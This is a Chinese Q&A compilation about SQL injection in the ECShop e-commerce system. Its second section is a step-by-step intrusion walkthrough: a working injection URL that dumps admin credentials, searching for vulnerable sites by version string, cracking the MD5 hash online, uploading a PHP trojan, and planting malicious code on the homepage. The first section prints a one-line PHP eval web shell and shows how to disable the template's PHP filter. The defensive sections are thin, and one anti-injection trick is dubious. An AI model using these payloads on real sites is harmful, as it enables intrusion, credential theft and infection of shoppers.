ecshopsql注入漏洞
Ⅰ 怎么去掉ecshop模板文件过滤php标签
最好不要在模板里面写php。会导致sql注入,引起后台账号泄露。
ECshop的模板是支持php代码的,这个给一些不法分子创造了挂马的机会,这些不法分子挂马步骤很可能是:
1、通过ecshop的漏洞搞SQL注入,暴出管理员密码md5值,然后通过**md5得到管理密码。(注:防止暴出管理密码md5值的方法是关闭display_errors,并且修改cls_mysql.php里的ErrorMsg函数,注释掉所有错误输出代码或把错误写入文件)
2、进入管理后台,通过模板管理->库项目管理,编辑lbi文件,添加php代码,例如<?php @eval($_POST['lx']);?>
3、到这里,就完全控制这个站了,想挂什么马就挂什么马。
可见,ECshop的模板支持php代码这点是非常危险的,因此我们应该过滤模板里的所有php代码。
如果实在要去掉ecshop模板文件过滤php标签
修改 includes/cls_template.php
可以遵循以下步骤:
去掉第288-299行以下代码:
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
这样,模板里的php代码就被保留了。
Ⅱ 木马是怎样攻入Ecshop商城的
Ecshop是一套网络商城建站系统,主要服务于想快捷搭建商城系统的用户,该系统是个人建立商城的主流软件。
在网络上,主要有两种类型的网络购物,一类是像淘宝这样的C2C站点,另一类是像卓越这样的B2C站点。B2C站点除了卓越、当当等大型站点外,还有很多规模较小的B2C站点,由于这些中小型B2C站点数目较大,因此每天的成交量也非常可观。
这些的中小型B2C站点通常没有专业的建站团队,站点都是站长通过现成的商城程序搭建起来的,其中Ecshop网络商城系统用得最多,因此一旦这套系统出现安全问题,将会波及网络上所有采用这套系统建立的B2C站点。
但不幸的事情还是发生了,Ecshop出现了严重的安全漏洞,黑客可以运用 该漏洞入侵站点,窜改商品价格,更令人担忧的是该漏洞可以被用来挂马,所有访问商城的用户都会中毒,他们的各种账号和密码可能被盗。此外,黑客可以修改站点的支付接口,用户购买商品时货款会直接打到黑客的账户中。
本文主角:Ecshop商城 V2.5.0
问题所在:含有SQL漏洞
主要危害:用于挂马、入侵服务器等
Ecshop存在SQL注入漏洞
运用 Ecshop漏洞须要用到SQL注入。由于程序员的疏忽,没有对User.php文件中的SQL变量实行过滤,从而导致SQL注入的发生。黑客可以构造特殊的代码,直接读取存放在站点数据库中的管理员账号和密码。
漏洞的运用 非常基本,只需在站点地址后输入“user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*”这样一句代码就可以读出站点数据库中的管理员账号和密码。
挂马流程揭秘
第一步:寻找入侵目标
在网络或谷歌中以“Powered by Ecshop v2.5.0”为关键字实行搜索(图1),可以找到很多符合条件的站点,随便挑选一个站点作为测试目标。须要留心的是,站点越小安全防护也越弱,成功率相比较较高。
第二步:获得管理员账号和密码
打开测试站点,在其网址后输入:user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*。
例如该站点网址为http://www.***.com/,则完整的漏洞运用 地址为:http://www.***.com/ user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*。
输入完毕后回车,如果看到类似图2的界面,则说明漏洞被运用 成功了。在返回的信息中,可以发觉很主要的内容,包括站点管理员的账号、密码及E-mail地址。从图2可以找到,管理员账号为admin,密码为。密码是经过MD5加密的,所以看到的是一串32位长的字符,须要对这串字符实行破解才能看到真实的密码。
第三步:破解MD5密码
虽然密码经过MD5加密,但是通过破解是可以得到密码原文的。将这段MD5值复制下来,打开MD5在线破解站点 http://www.cmd5.com/。
把这串MD5值复制到站点页面正中间的文本框中,点击“MD5加密或解密”按钮,密码原文就被破解出来了——admin1234(图3)。当然,破解MD5值靠的是运气,如果管理员将密码配置得很复杂,例如“数字+字母+特殊符号”的组合,那么就很难破解出密码原文。
如果MD5在线破解站点无法破解出密码原文,那么也可以采用MD5暴力破解软件来实行破解,当然耗费的时间会很长,在这里就不多作介绍了。
第四步:上传木马
既然管理员账号和密码都已拿到手,接下来我们就可以登录站点的后台了。在站点网址后输入admin并回车,将会出现站点后台登录页面,输入管理员账号admin、密码admin1234即可登录。
来到后台,我们可以看到Ecshop的站点后台功能是非常多的,当然这也给了我们上传木马的机会。点击“系统配置 ”中的“Flash播放器管理”链接(图4)。打开后再点击“添加自定义”按钮。
这时我们会来到一个上传图片的页面,在这里不仅仅可以上传图片,还能轻轻松松地上传木马!这里我们选择一款功能强大的PHP木马,点击“确定”按钮即可将木马上传(图5)。
上传成功后,进入“轮播图片地址”,在这里我们可以看到上传的木马的的路径(图6)。
将地址复制到浏览器地址栏中并打开,可以在里面任意浏览、修改甚至删除站点中的文件(图7),最后就是在站点首页中插入挂马代码,当用户浏览商城首页的时候,就会激活病毒,病毒会偷偷地入侵用户的计算机。
防备方案
要修补该漏洞,须要对User.php文件中的SQL变量实行严格的过滤,不允许恶意调用变量查询数据库。普通读者在上网时,最好运用能拦截网页木马的安全辅助工具,防止网页木马的骚扰。
Ⅲ 当php程序员的要求是什么
作为一名PHP程序员的基本要求:
精通html、CSS、JS等网站前端技术。
掌握PHP编程技术,熟练掌握PHP语法。
了解Linux及Apache、MySql数据库。
知道基本的网络原理,了解TCP/IP协议。
了解基本的软件工程知识和软件设计技术。
理解安全漏洞,如:SQL注入漏洞、字符编码循环、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)。
面向对象编程(OOP)、PHP缓存技术、PHP相关开发框架、软件重构技术、软件设计模式。
掌握PHPMyAdmin工具使用;Zend,专业PHP集成开发环境,是php程序员首选IDE工具。
Ⅳ ecshop sql注入漏洞是什么意思
注入是指SQL语句的WHERE条件部分
如:"SELECT * FROM tUSER WHERE fUSERNAME = '" & 变量 & "'"
变量里面是一串字符串,例如输入"王东东",那么SQL就变成:
"SELECT * FROM tUSER WHERE fUSERNAME = '王东东'"了
但是有人输入了这样的字符串:"王东东' OR '1'='1",当替换变量的值后,SQL语句就变成
"SELECT * FROM tUSER WHERE fUSERNAME = '王东东' OR '1'='1'"了
于是,这条SQL语句的条件就永远是真的了。注入成功,如果是用于密码判断,就通过了。
Ⅳ 怎么检测网站存在注入漏洞 防注入有哪些解决办法
许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。
第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用来防止别人进行手动注入测试。
可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。
第二步:对于注入分析器的防范,通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。
第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。
把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
我们通过上面的三步完成了对数据库的修改。
另外要明白您做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。只要在管理员登录的页面文件中写入字符限制就行了,就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。
希望可以帮到你,谢谢!
Ⅵ ecshop被挂马,首页index.php总是被篡改成html代码,删不掉改不了还。
最近9月份出来的ecshop漏洞,对于2.72 .2.73 3.0 3.6 4.0版本的sql执行getshell漏洞导致的用ecshop程序的网站被入侵 user.php被删除 而且网站首页总是被篡改经常是标题和描述被修改从网络搜索打开网站跳转到一些博cai网站,应该对转义函数进行过滤防止post提交生成php脚本木马文件,而且这个被篡改的问题是反复性质的,清理删除代码后没过多久就又被篡改了。必须要对程序漏洞的根源问题进行修复网站漏洞,清理已经被上传的隐蔽性的木马后门。
如果对程序代码不熟悉的话建议找专业做网站安全公司来处理此问题,国内推荐Sinesafe,绿盟,启蒙星辰等等。